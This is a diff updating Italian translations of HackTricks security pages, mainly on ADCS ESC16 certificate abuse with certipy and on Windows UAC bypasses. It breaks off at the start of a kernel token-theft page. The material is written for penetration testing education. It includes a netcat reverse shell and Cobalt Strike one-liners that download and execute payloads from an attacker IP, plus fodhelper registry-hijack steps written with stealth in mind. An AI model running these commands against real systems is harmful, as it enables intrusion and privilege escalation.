 certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -upn 'administrator' \
 -user 'victim' update
 ```
-**Passo 3: (Se necessario) Ottenere le credenziali per l'account "victim" (ad es., tramite Shadow Credentials).**
+**Passo 3: (Se necessario) Ottenere le credenziali per l'account "victim" (es., via Shadow Credentials).**
 ```shell
 certipy shadow \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -account 'victim' \
 auto
 ```
-**Passaggio 4: Richiedi un certificato come utente "victim" da _qualsiasi template di autenticazione client adatto_ (es., "User") sulla CA vulnerabile a ESC16.** Poiché la CA è vulnerabile a ESC16, ometterà automaticamente l'estensione di sicurezza SID dal certificato emesso, indipendentemente dalle impostazioni specifiche del template per questa estensione. Imposta la variabile d'ambiente per il Kerberos credential cache (comando shell):
+**Step 4: Richiedi un certificato come utente "vittima" da _qualsiasi template di autenticazione client adatto_ (p.es., "User") sulla CA vulnerabile a ESC16.** Poiché la CA è vulnerabile a ESC16, ometterà automaticamente l'estensione di sicurezza SID dal certificato emesso, indipendentemente dalle impostazioni specifiche del template per questa estensione. Imposta la variabile d'ambiente della cache delle credenziali Kerberos (comando shell):
 ```bash
 export KRB5CCNAME=victim.ccache
 ```
@@ -873,26 +878,27 @@ certipy account \
 -dc-ip '10.0.0.100' -upn 'victim@corp.local' \
 -user 'victim' update
 ```
-**Passo 6: Autenticarsi come l'amministratore di destinazione.**
+**Passo 6: Autenticarsi come amministratore target.**
 ```bash
 certipy auth \
 -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
 -username 'administrator' -domain 'corp.local'
 ```
-## Compromising Forests with Certificates Explained in Passive Voice
+## Compromissione delle foreste con i certificati spiegata in forma passiva
 
-### Breaking of Forest Trusts by Compromised CAs
+### Violazione dei trust tra foreste dovuta a CA compromesse
 
-La configurazione per il **cross-forest enrollment** è resa relativamente semplice. Il **root CA certificate** dalla resource forest viene **pubblicato nelle account forests** dagli amministratori, e i certificati della **enterprise CA** dalla resource forest vengono **aggiunti ai contenitori `NTAuthCertificates` e AIA in ogni account forest**. Per chiarire, con questa disposizione viene concesso alla **CA nella resource forest il controllo completo** su tutte le altre foreste per le quali gestisce la PKI. Se questa CA venisse **compromessa dagli attacker**, i certificati per tutti gli utenti sia nella resource che nelle account forests potrebbero essere **falsificati da questi**, compromettendo così il perimetro di sicurezza della foresta.
+La configurazione per l'**iscrizione tra foreste** è resa relativamente semplice. Il **certificato root CA** della foresta di risorse viene **pubblicato nelle foreste account** dagli amministratori, e i certificati della **enterprise CA** della foresta di risorse vengono **aggiunti ai contenitori `NTAuthCertificates` e AIA in ciascuna foresta account**. Per chiarire, questa disposizione concede alla **CA nella foresta di risorse il controllo completo** su tutte le altre foreste per le quali gestisce la PKI. Qualora questa CA fosse **compromessa dagli attaccanti**, i certificati per tutti gli utenti sia della foresta di risorse sia delle foreste account potrebbero essere **falsificati da essi**, rompendo così il confine di sicurezza della foresta.
 
-### Enrollment Privileges Granted to Foreign Principals
+### Privilegi di enrollment concessi a principal esterni
 
-Negli ambienti multi-forest è richiesta cautela riguardo alle Enterprise CAs che **pubblicano certificate templates** che permettono a **Authenticated Users o foreign principals** (utenti/gruppi esterni alla foresta a cui appartiene l’Enterprise CA) i **diritti di enrollment e modifica**. Al momento dell’autenticazione attraverso un trust, l’**Authenticated Users SID** viene aggiunto al token dell’utente da AD. Pertanto, se un dominio possiede un’Enterprise CA con un template che **consente a Authenticated Users i diritti di enrollment**, un template potrebbe potenzialmente essere **enrolled da un utente di una foresta diversa**. Allo stesso modo, se i **diritti di enrollment sono esplicitamente concessi a un foreign principal da un template**, viene così creato un **cross-forest access-control relationship**, permettendo a un principal di una foresta di **enrollarsi in un template di un’altra foresta**.
+Negli ambienti multi-foresta, è necessaria cautela riguardo alle Enterprise CAs che **pubblicano template di certificato** che consentono a **Authenticated Users o a foreign principals** (utenti/gruppi esterni alla foresta a cui appartiene l'Enterprise CA) **diritti di enrollment e modifica**.\
+Al momento dell'autenticazione attraverso un trust, l'**Authenticated Users SID** viene aggiunto al token dell'utente da AD. Pertanto, se un dominio possiede un'Enterprise CA con un template che **consente a Authenticated Users i diritti di enrollment**, un template potrebbe potenzialmente essere **iscritto da un utente di una foresta diversa**. Allo stesso modo, se **i diritti di enrollment sono esplicitamente concessi a un foreign principal da un template**, viene così creata una **relazione di controllo accessi cross-forest**, permettendo a un principal di una foresta di **iscriversi a un template di un'altra foresta**.
 
-Entrambi gli scenari portano a un **aumento della attack surface** da una foresta all’altra. Le impostazioni del certificate template potrebbero essere sfruttate da un attacker per ottenere privilegi aggiuntivi in un dominio esterno.
+Entrambi gli scenari comportano un **aumento della superficie d'attacco** da una foresta all'altra. Le impostazioni del template di certificato potrebbero essere sfruttate da un attaccante per ottenere privilegi aggiuntivi in un dominio esterno.
 
 
-## References
+## Riferimenti
 
 - [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
 - [GhostPack/Certify](https://github.com/GhostPack/Certify)

src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md

@@ -1,29 +1,29 @@
-# UAC - User Account Control
+# UAC - Controllo account utente
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## UAC
 
-[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che abilita un **prompt di consenso per attività elevate**. Le applicazioni hanno diversi livelli di `integrity`, e un programma con un **livello elevato** può eseguire operazioni che **potrebbero potenzialmente compromettere il sistema**. Quando UAC è abilitato, le applicazioni e i task vengono sempre **eseguiti nel contesto di sicurezza di un account non amministratore** a meno che un amministratore non autorizzi esplicitamente tali applicazioni/task ad avere accesso di livello amministratore per l'esecuzione. È una funzionalità di comodità che protegge gli amministratori da modifiche involontarie ma non è considerata un confine di sicurezza.
+[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che abilita un **prompt di consenso per attività elevate**. Le applicazioni hanno diversi livelli di `integrity`, e un programma con un livello **alto** può eseguire operazioni che **potrebbero compromettere il sistema**. Quando UAC è abilitato, le applicazioni e i task vengono sempre **eseguiti nel contesto di sicurezza di un account non amministratore** a meno che un amministratore non autorizzi esplicitamente tali applicazioni/task ad avere accesso a livello amministrativo per essere eseguiti. È una funzione di comodità che protegge gli amministratori da modifiche involontarie ma non è considerata un confine di sicurezza.
 
-Per maggiori informazioni sui livelli di integrità:
+Per ulteriori informazioni sui livelli di integrity:
 
 
 {{#ref}}
 ../windows-local-privilege-escalation/integrity-levels.md
 {{#endref}}
 
-Quando UAC è attivo, un utente amministratore riceve 2 token: uno come utente standard, per compiere azioni ordinarie a livello normale, e uno con i privilegi di amministratore.
+Quando UAC è attivo, a un utente amministratore vengono assegnati 2 token: un token di utente standard, per svolgere azioni regolari a livello normale, e uno con i privilegi amministrativi.
 
-Questa [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) descrive in dettaglio come funziona UAC e include il processo di logon, l'esperienza utente e l'architettura di UAC. Gli amministratori possono utilizzare criteri di sicurezza per configurare come UAC funzioni specificamente per la loro organizzazione a livello locale (usando secpol.msc), o configurato e distribuito tramite Group Policy Objects (GPO) in un ambiente di dominio Active Directory. Le varie impostazioni sono discusse in dettaglio [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Ci sono 10 impostazioni di Group Policy che possono essere configurate per UAC. La tabella seguente fornisce ulteriori dettagli:
+Questa [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) spiega in dettaglio come funziona UAC e include il processo di logon, l'esperienza utente e l'architettura di UAC. Gli amministratori possono usare le security policy per configurare come UAC opera in modo specifico per la loro organizzazione a livello locale (usando secpol.msc), o configurarlo e distribuirlo tramite Group Policy Objects (GPO) in un ambiente Active Directory. Le varie impostazioni sono discusse in dettaglio [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Ci sono 10 impostazioni di Group Policy che possono essere impostate per UAC. La tabella seguente fornisce dettagli aggiuntivi:
 
-| Group Policy Setting                                                                                                                                                                                                                                                                                                                                                           | Chiave del registro         | Impostazione predefinita                                      |
+| Group Policy Setting                                                                                                                                                                                                                                                                                                                                                           | Chiave del registro         | Impostazione predefinita                                     |
 | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
 | [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)                                                     | FilterAdministratorToken    | Disabilitato                                                 |
 | [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle      | Disabilitato                                                 |
-| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Prompt for consent for non-Windows binaries                  |
-| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Prompt for credentials on the secure desktop                 |
-| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Abilitato (predefinito per home) Disabilitato (predefinito per enterprise) |
+| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Richiesta di consenso per binari non-Windows                 |
+| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Richiesta delle credenziali sul desktop sicuro              |
+| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Abilitato (predefinito per Home) Disabilitato (predefinito per Enterprise) |
 | [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | ValidateAdminCodeSignatures | Disabilitato                                                 |
 | [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Abilitato                                                    |
 | [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Abilitato                                                    |
@@ -32,21 +32,21 @@ Questa [page](https://docs.microsoft.com/en-us/windows/security/identity-protect
 
 ### Teoria del bypass UAC
 
-Alcuni programmi sono **autoelevated automatically** se l'**utente appartiene** al **gruppo amministratori**. Questi binari hanno nei loro _**Manifests**_ l'opzione _**autoElevate**_ con valore _**True**_. Il binario deve inoltre essere **signed by Microsoft**.
+Alcuni programmi vengono **autoelevati automaticamente** se l'**utente appartiene** al **gruppo amministratori**. Questi binari hanno nei loro _**Manifests**_ l'opzione _**autoElevate**_ con valore _**True**_. Il binario deve inoltre essere **signed by Microsoft**.
 
-Molti processi auto-elevanti espongono **funzionalità via COM objects or RPC servers**, che possono essere invocate da processi in esecuzione con integrità medio (privilegi a livello utente regolare). Nota che COM (Component Object Model) e RPC (Remote Procedure Call) sono metodi che i programmi Windows utilizzano per comunicare ed eseguire funzioni tra processi differenti. Per esempio, **`IFileOperation COM object`** è progettato per gestire operazioni sui file (copia, cancellazione, spostamento) e può elevare automaticamente i privilegi senza un prompt.
+Molti processi auto-elevati espongono **funzionalità tramite oggetti COM o server RPC**, che possono essere invocate da processi in esecuzione con integrity di livello medio (privilegi a livello utente normale). Nota che COM (Component Object Model) e RPC (Remote Procedure Call) sono metodi che i programmi Windows usano per comunicare ed eseguire funzioni tra diversi processi. Per esempio, **`IFileOperation COM object`** è progettato per gestire operazioni su file (copia, cancellazione, spostamento) e può elevare automaticamente i privilegi senza mostrare un prompt.
 
-Nota che potrebbero essere effettuati alcuni controlli, come verificare se il processo è stato eseguito dalla **System32 directory**, che può essere bypassato ad esempio **injecting into explorer.exe** o un altro eseguibile situato in System32.
+Attenzione: alcune verifiche potrebbero essere effettuate, come controllare se il processo è stato eseguito dalla directory **System32**, che può essere bypassato ad esempio **iniettando in explorer.exe** o in un altro eseguibile situato in System32.
 
-Un altro modo per bypassare questi controlli è **modificare la PEB**. Ogni processo in Windows ha una Process Environment Block (PEB), che include dati importanti sul processo, come il percorso dell'eseguibile. Modificando la PEB, un attaccante può falsificare (spoof) la posizione del proprio processo maligno, facendolo apparire come eseguito da una directory attendibile (come system32). Queste informazioni falsate ingannano il COM object inducendolo ad auto-elevare i privilegi senza chiedere all'utente.
+Un altro modo per bypassare questi controlli è **modificare la PEB**. Ogni processo in Windows ha un Process Environment Block (PEB), che include dati importanti sul processo, come il percorso dell'eseguibile. Modificando la PEB, un attaccante può falsificare (spoofare) la posizione del proprio processo malevolo, facendolo apparire come eseguito da una directory fidata (come system32). Queste informazioni falsificate ingannano l'oggetto COM inducendolo ad auto-elevare i privilegi senza chiedere il consenso dell'utente.
 
-Quindi, per **bypassare** la **UAC** (elevare da **livello medio** di integrità **a livello elevato**) alcuni attaccanti usano questo tipo di binari per **eseguire codice arbitrario** poiché verrà eseguito da un processo con **High level integrity**.
+Quindi, per **bypassare** la **UAC** (elevare da livello di integrity **medio** a **alto**) alcuni attaccanti usano questo tipo di binari per **eseguire codice arbitrario** poiché verrà eseguito da un processo con integrity di livello **alto**.
 
-Puoi **controllare** il _**Manifest**_ di un binario usando lo strumento _**sigcheck.exe**_ di Sysinternals. (`sigcheck.exe -m <file>`) E puoi **vedere** il **livello di integrità** dei processi usando _Process Explorer_ o _Process Monitor_ (di Sysinternals).
+Puoi **controllare** il _**Manifest**_ di un binario usando lo strumento _**sigcheck.exe**_ di Sysinternals. (`sigcheck.exe -m <file>`) E puoi **vedere** il **livello di integrity** dei processi usando _Process Explorer_ o _Process Monitor_ (di Sysinternals).
 
-### Verificare UAC
+### Controllare UAC
 
-Per confermare se UAC è abilitato, esegui:
+Per confermare se UAC è abilitato esegui:
 ```
 REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
 
@@ -55,19 +55,19 @@ EnableLUA    REG_DWORD    0x1
 ```
 Se è **`1`** allora UAC è **attivato**, se è **`0`** o non esiste, allora UAC è **disattivato**.
 
-Quindi, verifica **quale livello** è configurato:
+Poi, controlla **quale livello** è configurato:
 ```
 REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
 
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 ```
-- If **`0`** then, UAC won't prompt (like **disabled**)
-- If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop)
-- If **`2`** (**Always notify me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
-- If **`3`** like `1` but not necessary on Secure Desktop
-- If **`4`** like `2` but not necessary on Secure Desktop
-- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges
+- Se **`0`**, UAC non mostrerà prompt (come **disabilitato**)
+- Se **`1`** all'amministratore viene **richiesto il nome utente e la password** per eseguire il binario con privilegi elevati (su Secure Desktop)
+- Se **`2`** (**Always notify me**) UAC chiederà sempre conferma all'amministratore quando tenta di eseguire qualcosa con privilegi elevati (su Secure Desktop)
+- Se **`3`** come `1` ma non necessario su Secure Desktop
+- Se **`4`** come `2` ma non necessario su Secure Desktop
+- Se **`5`**(**default**) chiederà all'amministratore di confermare l'esecuzione di binari non Windows con privilegi elevati
 
 Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\
 If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them.
@@ -82,7 +82,7 @@ If **`0`**(default), the **built-in Administrator account can** do remote admini
 - If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)**
 - If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
 
-All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
+Tutte queste informazioni possono essere raccolte usando il modulo **metasploit**: `post/windows/gather/win_privs`
 
 Puoi anche controllare i gruppi del tuo utente e ottenere il livello di integrità:
 ```
@@ -92,15 +92,15 @@ whoami /groups | findstr Level
 ## UAC bypass
 
 > [!TIP]
-> Nota che se hai accesso grafico alla vittima, il bypass di UAC è semplice poiché puoi semplicemente cliccare su "Yes" quando appare il prompt UAC
+> Nota che se hai accesso grafico alla vittima, UAC bypass è molto semplice: puoi semplicemente cliccare su "Yes" quando appare il prompt UAC
 
-Il bypass di UAC è necessario nella seguente situazione: **UAC è attivato, il tuo processo è in un contesto di medium integrity, e il tuo utente appartiene al gruppo Administrators**.
+Il UAC bypass è necessario nella seguente situazione: **l'UAC è attivata, il tuo processo è in esecuzione in un contesto con livello di integrità medium, e il tuo utente appartiene al gruppo Administrators**.
 
-È importante menzionare che è **molto più difficile bypassare UAC se è impostato al livello di sicurezza più alto (Always) rispetto a qualsiasi altro livello (Default).**
+È importante sottolineare che è **molto più difficile bypassare l'UAC se è impostata al livello di sicurezza più alto (Always) rispetto agli altri livelli (Default).**
 
-### UAC disabilitato
+### UAC disabled
 
-Se UAC è già disabilitato (`ConsentPromptBehaviorAdmin` è **`0`**) puoi **execute a reverse shell with admin privileges** (high integrity level) usando qualcosa come:
+Se l'UAC è già disabilitata (`ConsentPromptBehaviorAdmin` è **`0`**) puoi **eseguire una reverse shell con privilegi amministrativi** (livello di integrità elevato) usando qualcosa del tipo:
 ```bash
 #Put your reverse shell instead of "calc.exe"
 Start-Process powershell -Verb runAs "calc.exe"
@@ -111,9 +111,9 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
 - [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
 - [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
 
-### **Molto** semplice UAC "bypass" (accesso completo al file system)
+### **Molto** elementare UAC "bypass" (accesso completo al file system)
 
-Se hai una shell con un utente che fa parte del gruppo Administrators puoi **mount the C$** shared via SMB (file system) local in a new disk e avrai **accesso a tutto il file system** (anche la cartella home di Administrator).
+Se hai una shell con un utente che è nel gruppo Administrators puoi **montare la condivisione C$** via SMB localmente come un nuovo disco e avrai **accesso a tutto il file system** (anche la home dell'Administrator).
 
 > [!WARNING]
 > **Sembra che questo trucco non funzioni più**
@@ -124,9 +124,9 @@ cd C$
 #Or you could just access it:
 dir \\127.0.0.1\c$\Users\Administrator\Desktop
 ```
-### UAC bypass with cobalt strike
+### UAC bypass con cobalt strike
 
-Le tecniche di Cobalt Strike funzioneranno solo se UAC non è impostato al suo livello di sicurezza massimo.
+Le tecniche di Cobalt Strike funzioneranno solo se UAC non è impostato al livello di sicurezza massimo.
 ```bash
 # UAC bypass via token duplication
 elevate uac-token-duplication [listener_name]
@@ -138,7 +138,7 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
 # Bypass UAC with CMSTPLUA COM interface
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
 ```
-**Empire** e **Metasploit** hanno anche diversi moduli per **bypass** della **UAC**.
+**Empire** e **Metasploit** hanno anche diversi moduli per bypass della **UAC**.
 
 ### KRBUACBypass
 
@@ -146,10 +146,10 @@ Documentazione e tool in [https://github.com/wh0amitz/KRBUACBypass](https://gith
 
 ### UAC bypass exploits
 
-[**UACME** ](https://github.com/hfiref0x/UACME) che è una **compilazione** di diversi UAC bypass exploits. Nota che dovrai **compilare UACME usando visual studio o msbuild**. La compilazione creerà diversi eseguibili (come `Source\Akagi\outout\x64\Debug\Akagi.exe`) , dovrai sapere **quale ti serve.**\
-Dovresti **fare attenzione** perché alcuni **bypass** faranno **apparire dei prompt in altri programmi** che **avviseranno** l'**utente** che qualcosa sta succedendo.
+[**UACME** ](https://github.com/hfiref0x/UACME) che è una **compilazione** di diversi UAC bypass exploits. Nota che dovrai **compilare UACME usando Visual Studio o msbuild**. La compilazione creerà diversi eseguibili (come `Source\Akagi\outout\x64\Debug\Akagi.exe`), dovrai sapere **quale ti serve.**  
+Dovresti **fare attenzione** perché alcuni bypass **potrebbero avviare altri programmi** che **avviseranno** l'**utente** che qualcosa sta accadendo.
 
-UACME riporta la **build da cui ogni tecnica ha iniziato a funzionare**. Puoi cercare una tecnica che interessi le tue versioni:
+UACME indica la **build dalla quale ogni tecnica ha iniziato a funzionare**. Puoi cercare una tecnica che interessa le tue versioni:
 ```
 PS C:\> [environment]::OSVersion.Version
 
@@ -157,17 +157,17 @@ Major  Minor  Build  Revision
 -----  -----  -----  --------
 10     0      14393  0
 ```
-Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
+Inoltre, usando [this](https://en.wikipedia.org/wiki/Windows_10_version_history) ottieni la release di Windows `1607` dalle versioni build.
 
 ### UAC Bypass – fodhelper.exe (Registry hijack)
 
-Il binario affidabile `fodhelper.exe` viene elevato automaticamente su Windows moderni. Quando viene avviato, interroga il percorso del registro per utente qui sotto senza validare il verbo `DelegateExecute`. Posizionare un comando in quel percorso permette a un processo con Medium Integrity (l'utente è membro del gruppo Administrators) di avviare un processo con High Integrity senza visualizzare il prompt UAC.
+Il binario attendibile `fodhelper.exe` viene automaticamente elevato su Windows moderni. Quando viene avviato, interroga il percorso del registro per utente mostrato qui sotto senza validare il verbo `DelegateExecute`. Piantare un comando in tale chiave permette a un processo con Medium Integrity (l'utente è nel gruppo Administrators) di generare un processo con High Integrity senza prompt UAC.
 
-Registry path queried by fodhelper:
+Percorso del registro interrogato da fodhelper:
 ```
 HKCU\Software\Classes\ms-settings\Shell\Open\command
 ```
-Passaggi PowerShell (imposta il tuo payload, poi trigger):
+Passaggi PowerShell (imposta il tuo payload, quindi attiva):
 ```powershell
 # Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
 C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
@@ -187,46 +187,46 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
 Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
 ```
 Note:
-- Funziona quando l'utente corrente è membro degli Administrators e il livello UAC è default/lenient (non Always Notify con restrizioni extra).
-- Usa il percorso `sysnative` per avviare una PowerShell a 64-bit da un processo a 32-bit su Windows a 64-bit.
-- Il payload può essere qualsiasi comando (PowerShell, cmd, o un percorso EXE). Evitare UI che richiedono prompt per mantenere lo stealth.
+- Funziona quando l'utente corrente è membro di Administrators e il livello UAC è default/lenient (non Always Notify con restrizioni aggiuntive).
+- Usa il percorso `sysnative` per avviare un PowerShell a 64-bit da un processo a 32-bit su Windows a 64-bit.
+- Il payload può essere qualsiasi comando (PowerShell, cmd, o un percorso a un EXE). Evitare UI che richiedono prompt per maggiore stealth.
 
-#### Altri bypass UAC
+#### More UAC bypass
 
 **All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
 
-Puoi ottenerla usando una sessione **meterpreter**. Migra in un **process** che ha il valore **Session** uguale a **1**:
+You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
 
 ![](<../../images/image (863).png>)
 
 (_explorer.exe_ dovrebbe funzionare)
 
-### Bypass UAC con GUI
+### UAC Bypass with GUI
 
-Se hai accesso a una **GUI puoi semplicemente accettare il prompt UAC** quando compare, non hai veramente bisogno di un bypass. Quindi, ottenere accesso a una GUI ti permetterà di bypassare il UAC.
+Se hai accesso a una **GUI puoi semplicemente accettare il prompt UAC** quando appare, non hai realmente bisogno di un bypass. Quindi ottenere accesso a una GUI ti permette di bypassare UAC.
 
-Inoltre, se ottieni una sessione GUI che qualcuno stava usando (potenzialmente via RDP) ci sono **alcuni tool che verranno eseguiti come administrator** da cui potresti **eseguire** ad esempio un **cmd** **come admin** direttamente senza essere nuovamente richiesto da UAC, come [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Questo potrebbe essere un po' più **stealthy**.
+Inoltre, se ottieni una sessione GUI che qualcuno stava usando (potenzialmente via RDP) ci sono **alcuni strumenti che saranno in esecuzione come administrator** da cui potresti **lanciare** un **cmd**, per esempio **come admin** direttamente senza che UAC richieda nuovamente l'elevazione, come [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Questo potrebbe essere un po' più **stealthy**.
 
-### Bypass UAC rumoroso (brute-force)
+### Noisy brute-force UAC bypass
 
-Se non ti importa di essere rumoroso puoi sempre **eseguire qualcosa come** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) che **chiede di elevare i permessi finché l'utente non li accetta**.
+Se non ti interessa essere rumoroso puoi sempre **eseguire qualcosa come** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) che **chiede di elevare i permessi finché l'utente non accetta**.
 
-### Il tuo bypass - metodologia di base per bypass UAC
+### Your own bypass - Basic UAC bypass methodology
 
-Se dai un'occhiata a **UACME** noterai che **la maggior parte dei bypass UAC sfrutta una vulnerabilità di Dll Hijacking** (principalmente scrivendo la dll malevola in _C:\Windows\System32_). [Leggi questo per imparare come trovare una vulnerabilità di Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html).
+Se dai un'occhiata a **UACME** noterai che **la maggior parte dei bypass UAC abusa di una vulnerabilità di Dll Hijacking** (principalmente scrivendo la malicious dll in _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
 
-1. Trova un binary che **autoelevate** (verifica che quando viene eseguito funzioni a livello di integrità elevato).
+1. Trova un binary che **autoelevate** (verifica che quando viene eseguito funzioni a high integrity level).
 2. Con procmon trova eventi "**NAME NOT FOUND**" che possono essere vulnerabili a **DLL Hijacking**.
 3. Probabilmente dovrai **scrivere** la DLL all'interno di alcuni **percorsi protetti** (come C:\Windows\System32) dove non hai permessi di scrittura. Puoi bypassare questo usando:
-   1. **wusa.exe**: Windows 7,8 e 8.1. Permette di estrarre il contenuto di un file CAB all'interno di percorsi protetti (perché questo tool viene eseguito a high integrity level).
-   2. **IFileOperation**: Windows 10.
+1. **wusa.exe**: Windows 7,8 and 8.1. Permette di estrarre il contenuto di un CAB file all'interno di percorsi protetti (perché questo tool viene eseguito a high integrity level).
+2. **IFileOperation**: Windows 10.
 4. Prepara uno **script** per copiare la tua DLL nel percorso protetto ed eseguire il binary vulnerabile e autoelevated.
 
-### Un'altra tecnica di bypass UAC
+### Another UAC bypass technique
 
-Consiste nel verificare se un **autoElevated binary** tenta di **leggere** dal **registry** il **nome/percorso** di un **binary** o **comando** da **eseguire** (questo è più interessante se il binary cerca queste informazioni dentro la **HKCU**).
+Consiste nel verificare se un **autoElevated binary** cerca di **leggere** dal **registry** il **nome/path** di un **binary** o **command** da **eseguire** (questo è più interessante se il binary cerca queste informazioni all'interno di **HKCU**).
 
-## Riferimenti
+## References
 - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
 - [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/)
 - [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)

src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md

@@ -4,35 +4,35 @@
 
 ## Panoramica
 
